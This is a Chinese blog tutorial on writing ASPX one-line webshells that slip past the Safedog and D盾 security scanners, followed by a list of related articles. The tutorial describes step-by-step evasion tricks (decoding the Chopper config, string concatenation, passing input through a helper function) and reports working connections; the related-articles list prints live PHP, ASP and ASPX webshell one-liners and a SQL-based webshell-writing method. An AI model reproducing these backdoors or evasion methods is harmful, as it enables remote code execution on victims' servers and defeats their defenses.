如何自己写aspx过狗D盾一句话木马
hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx
引用i春秋作家团大佬@非主流 对一句话木马的理解:
一句话木马的意思就是,我们制造了一个包含远程代码执行漏洞的web页面。
目录:
0×01:我没有aspx代码编写基础,我该从哪入手?
0×02:正式开始:从过狗菜刀配置文件里寻找思路
0×03:再写一个:分析各种拦截机制,一一绕过
0×04:总结
0×01:我没有aspx代码编写基础,我该从哪入手?

在这里,本菜比与小白们一起学习:如何自己写aspx过狗一句话木马
“授人以鱼不如授人以渔”
前期准备(建议,自行决定):
(1)了解aspx,aspx的百度百科至少看一遍,看懂aspx一句话木马
(2)准备好可以查资料的网站(aspx语法、函数等必备知识)、工具,例如官方手册(chm文件)。
(3)本地搭建环境,装好安全狗,D盾顺便也装了
(4)菜刀肯定不可少
aspx文件就是asp.net文件,需要.net 环境,用“C#”,“Jscript”等语言编写。
Jscript手册我会放在附件里
我用的是2003server+iis+asp.net环境,装了 .net 2.0与4.0
0×02:正式开始:从过狗菜刀配置文件里寻找思路
我并不会aspx,起步的时候很难凭空弄个过狗的出来,那么就要自己想办法。
因为曾经分析过:过狗菜刀php的配置,配置里过狗的思路与php过狗木马类似,所以我在没学过aspx并且没有过狗的aspx一句话作为参考的时候,突然想到酱紫做。
曾经的分析:https://bbs.ichunqiu.com/thread-26196-1-1.html
我们看一下配置文件关于aspx的部分:
先根据它的格式还原回正常的代码(把%%换回%)
可以看有一部分是经过url编码的,因为asp.net文件貌似不能直接解析,所以先还原,看还原之后的代码。
利用网上的在线解码直接转码:

因为我曾分析过,知道:其中%s是菜刀要执行的经过base64加密的命令。
所以应该有一个base64解密函数,以及代码执行函数
这两个函数很容易找出来,

其中编码为:65001,这是utf-8。
仔细看了看有些不对劲,aspx代码部分只给了这两个函数,也就是说,aspx过狗的那一部分主要是前半段的url编码。找到的这两个函数并没有使用过狗的姿势。难道这次分析白费了?先试试再说吧,简单利用base64解密函数。(本来就没学过aspx,知道个base64解密函数也不亏了)
看我操作

我用安全狗、D盾扫描了一下,居然奇迹般的绕过了
再用菜刀连接,没问题。
(注:D盾防护全开后,将限制木马的权限,不在本文考虑范围,本文只使用D盾的后门扫描功能,安全狗全开)
0×03:再写一个:分析各种拦截机制,一一绕过
第一种方法感觉有运气成分在内,并不是我希望看到的,所以再写一个吧
这回我们靠自己。
一行一行的写代码,看看他什么时候会拦截
不再使用base64解密函数,自己寻找别的方法。
写一个光明正大的aspx木马

安全狗拦截,可是D盾只是可疑的级别,也就是说,如果只装D盾,木马不会被拦截。(已测试哦)
再改改

这次删掉了unsafe参数,安全狗照样拦截,但是D盾什么也扫不出。.net 4.0 下的eval的第二个参数取消,也就是说.net
4.0开发的网站,只装D盾,这个木马就可以绕过。但是为了兼容性,我们试着绕过“unsafe”这个拦截机制,(可以用base64解密,但是我说过不用)
用字符串拼接的方法:

安全狗还是没绕过,但是D盾没检测出unsafe参数被加进去,所以什么也没扫到。
接下来就是绕过安全狗了。
第二个参数做了绕过D盾处理,那么第一个参数来绕过安全狗的检测吧,有经验的人都知道安全狗没那么严格,第二个参数的unsafe应该不会被安全狗拦截。

创了一个函数fun(),直接返回接收到的pass的内容,也就是说经过了一个函数的传递,安全狗就不认识了。
菜刀连接成功,没问题
0×04:总结
aspx的函数没有php的函数多,个人感觉aspx花样不多,所以绕过waf的姿势不像php一样多。但是由于使用aspx的网站没有php的那么多,所以waf对aspx的重视程度没有php的大。
(学习)方法很重要,之前我没有具体分析waf的一些拦截机制,直接使用各种错误的姿势,走了一堆弯路,后来一步一步试,看怎样会被拦截(就像测试sql注入绕过一样)。用这种方法感觉效率快多了,而且思路清晰连贯。
如何自己写aspx过狗D盾一句话木马的更多相关文章
- python写一个能生成三种一句话木马的脚本
代码: import time import os from threading import Thread import optparse def aspyijuhua(): try: juy=op ...
- 一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)
首先一句话木马: <?php assert($_POST['a']); ?> D盾扫描,5级 分开写: <?php $a = "assert"; $b = $_P ...
- 一句话木马:ASPX篇
aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],& ...
- 渗透技术--SQL注入写一句话木马原理
讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...
- 简单的一句话木马(asp aspx php)
一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...
- [WEB]绕过安全狗与360PHP一句话的编写
00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell.当然,安全狗是最简单的一款waf,很容易就进行一个绕过.00x02对于绕过安全狗跟360, ...
- thinkphp下的Webshell&&php过D盾一句话
环境: Thinkphp 5.0.15 PHP version:7.0.12 WAF: D盾 ,安全狗 Thinkphp 采用 MVC 模式 核心:模块 -> 控制器 –> 方法 思路: ...
- PHP一句话木马小总结与SQL语句写一句话木马
一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: <?php @eval($_GET["code"])?> <?php @system($_P ...
- PHP结合SQL语句写一句话木马
一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: 1 <?php @eval($_GET["code"])?> 2 <?php @system ...
随机推荐
- Filebeat+Logstash+Elasticsearch测试
安装配置好三个软件使之能够正常启动,下面开始测试. 第一步 elasticsearch提供了restful api,这些api会非常便利,为了方便查看,可以使用postman调用接口. 1.查看Ela ...
- Python3 sorted() 函数
Python3 sorted() 函数 Python3 内置函数 描述 sorted() 函数对所有可迭代的对象进行排序操作. sort 与 sorted 区别: sort 是应用在 list 上的 ...
- java 实现模拟浏览器 访问网站
一般的情况下我们都是使用IE或者Navigator浏览器来访问一个WEB服务器,用来浏览页面查看信息或者提交一些数据等等.所访问的这些页面 有的仅仅是一些普通的页面,有的需要用户登录后方可使用,或者需 ...
- Linux命令:cp (copy)复制文件或目录
复制文件,只有源文件较目的文件的修改时间新时,才复制文件 cp -u -v file1 file2 .将文件file1复制成文件file2 cp file1 file2 .采用交互方式 ...
- 图灵社区 书单推荐:成为Java顶尖程序员 ,看这11本书就够了
java书单推荐 转自 http://www.ituring.com.cn/article/211418 “学习的最好途径就是看书“,这是我自己学习并且小有了一定的积累之后的第一体会.个人认为看书有两 ...
- radiobutton 选中的项不能去掉选择的问题
代码如下: RadioButton rbtn = new RadioButton(getApplicationContext()); rbtn.setText(String.valueOf(item. ...
- Quartz2D Text
[Quartz2D Text] Quartz 2D provides a limited, low-level interface for drawing text encoded in the Ma ...
- 三)Wiring up jobs using triggers and the SchedulerFactoryBean
示例地址: https://github.com/witaste/quartz.git │ pom.xml │ └─src └─main ├─java │ └─cn │ └─zno │ └─job │ ...
- 引入jQuery
用于测试和开发(未压缩,是可读的代码) uncompressed, 用于实际的网站中,已被精简和压缩. minified jQuery 1.xjQuery Migrate 过渡版jQuery ...
- linux每天一小步---awk命令详解
1 命令功能 awk是linux环境下的一个强大的文本工具,由于awk天生提供对文件中文本分列进行处理,所以如果一个文件中的每行都被特定的分隔符(默认为空格)隔开,我们就可以将这个文件看成是有很多列的 ...